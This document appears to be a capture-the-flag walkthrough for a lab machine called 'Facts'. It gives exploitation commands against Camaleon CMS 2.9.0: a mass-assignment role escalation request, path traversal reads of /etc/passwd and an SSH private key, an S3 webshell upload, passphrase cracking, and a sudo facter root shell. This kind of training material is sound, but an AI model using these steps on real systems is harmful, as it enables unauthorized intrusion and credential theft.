Facts¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.11.x

Enumeration¶

Camaleon CMS¶

The web server runs Camaleon CMS version 2.9.0. This version is vulnerable to mass assignment and local file inclusion.

Exploitation¶

Mass Assignment - Admin Privilege Escalation¶

A known vulnerability in Camaleon CMS 2.9.0 allows privilege escalation via mass assignment on the profile update endpoint. By injecting &password[role]=admin into the profile update request, the user's role is upgraded to admin:

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

_method=patch&authenticity_token=<TOKEN>&password[password]=tatatata&password[password_confirmation]=tatatata&password[role]=admin

This grants access to the admin dashboard at http://facts.htb/admin/dashboard.

Local File Inclusion¶

From the admin dashboard, the download_private_file endpoint is vulnerable to path traversal:

curl "http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd"

This reveals two users of interest: trivia and william.

AWS S3 Credentials¶

The CMS filesystem settings reveal S3 bucket credentials:

Listing the S3 bucket:

export AWS_ACCESS_KEY_ID="AKIABBD9ED3358822B95"
export AWS_SECRET_ACCESS_KEY="2oPQiSHpvOZtfyPHgfq9hzkp16TidfJI9Tb2/4EB"

aws s3 ls s3://randomfacts/private/ --recursive --endpoint-url http://facts.htb:54321
aws s3 ls s3://randomfacts/thumb/ --recursive --endpoint-url http://facts.htb:54321

Webshell Upload¶

Upload a Ruby webshell to the S3 bucket and access it through the web:

aws s3 cp ~/Tools/revshells/webshell.rb s3://randomfacts/webshell --endpoint-url http://facts.htb:54321

The webshell is accessible at http://facts.htb/randomfacts/webshell.

SSH as trivia¶

Using the LFI to read the SSH private key:

curl "http://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519"

Crack the key passphrase:

ssh2john.py id_ed25519 > id_ed25519.hash
john --wordlist=/path/to/wordlist id_ed25519.hash

dragonballz      (id_ed25519)

Connect via SSH:

ssh -i id_ed25519 trivia@10.10.11.x

Privilege Escalation¶

Facter Custom Directory¶

Checking sudo permissions:

sudo -l

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Facter can load custom facts from a Ruby file. Create a malicious fact:

#!/usr/bin/ruby
exec "/bin/sh"

Save it to /home/trivia/shell.rb and execute:

sudo /usr/bin/facter --custom-dir=/home/trivia/ x

This spawns a root shell.

Flags¶

user.txt: *** root.txt: ***